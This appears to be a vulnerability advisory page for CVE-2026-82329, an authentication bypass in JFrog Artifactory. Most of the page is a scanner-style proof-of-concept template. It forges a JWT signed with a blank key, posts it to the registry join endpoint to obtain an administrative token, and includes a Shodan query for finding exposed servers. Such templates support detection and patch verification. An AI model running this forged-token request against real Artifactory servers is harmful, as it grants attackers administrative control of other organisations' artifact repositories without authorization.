CVE-2026-82329: JFrog Artifactory Access Blank Join Key Authentication Bypass

2026-09-16 Unknown PoC Public

Description

JFrog Artifactory contains an authentication weakness that, under default configuration, may allow an unauthenticated attacker with network access to obtain administrative privileges.

PoC

id: CVE-2026-82329

info:
  name: JFrog Artifactory Access Blank Join Key Authentication Bypass
  author: johnk3r,pruva
  severity: critical
  description: |
    JFrog Artifactory contains an authentication weakness that, under default configuration, may allow an unauthenticated attacker with network access to obtain administrative privileges.
  impact: |
    Unauthenticated attackers can gain administrative privileges, leading to full system control.
  remediation: |
    Update to the latest version and ensure secure configuration.
  reference:
    - https://jfrog.com/help/r/jfrog-release-information/artifactory-security-fixes
    - https://www.pruva.dev/reproductions/REPRO-2026-00341
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-82329
    epss-score: 0.07666
    epss-percentile: 0.94276
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"JFrog"
  tags: cve,cve2026,jfrog,auth-bypass,vkev,kev

variables:
  service_id: "jfrt@cve202682329nuclei{{rand_text_alpha(10)}}"
  node_id: "cve202682329node{{rand_text_alpha(10)}}"
  jwt_claims: '{"service_id":"{{service_id}}","node_id":"{{node_id}}","skip_node_registration":true,"iat":{{unix_time()}}000}'
  forged_jwt: '{{generate_jwt(jwt_claims,"HS256","                                ")}}'

http:
  - raw:
      - |
        POST /access/api/v1/registry/join HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain
        User-Agent: JFrogArtifactory/7.146.25
        Accept: */*
        Connection: close

        {{forged_jwt}}

    redirects: false
    max-redirects: 0

    matchers-condition: and

    matchers:
      - type: status
        status:
          - 201

      - type: word
        part: body
        words:
          - '"token"'
# digest: 490a004630440220563f92e15f2ce7555284bae404c2e85b7f1e44fb51d1a3638e13107d57e0c1f8022055b3c861f62a58c05ccb8920d588794f7be4fabd9b7b99330269ccbb6e0c67d8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.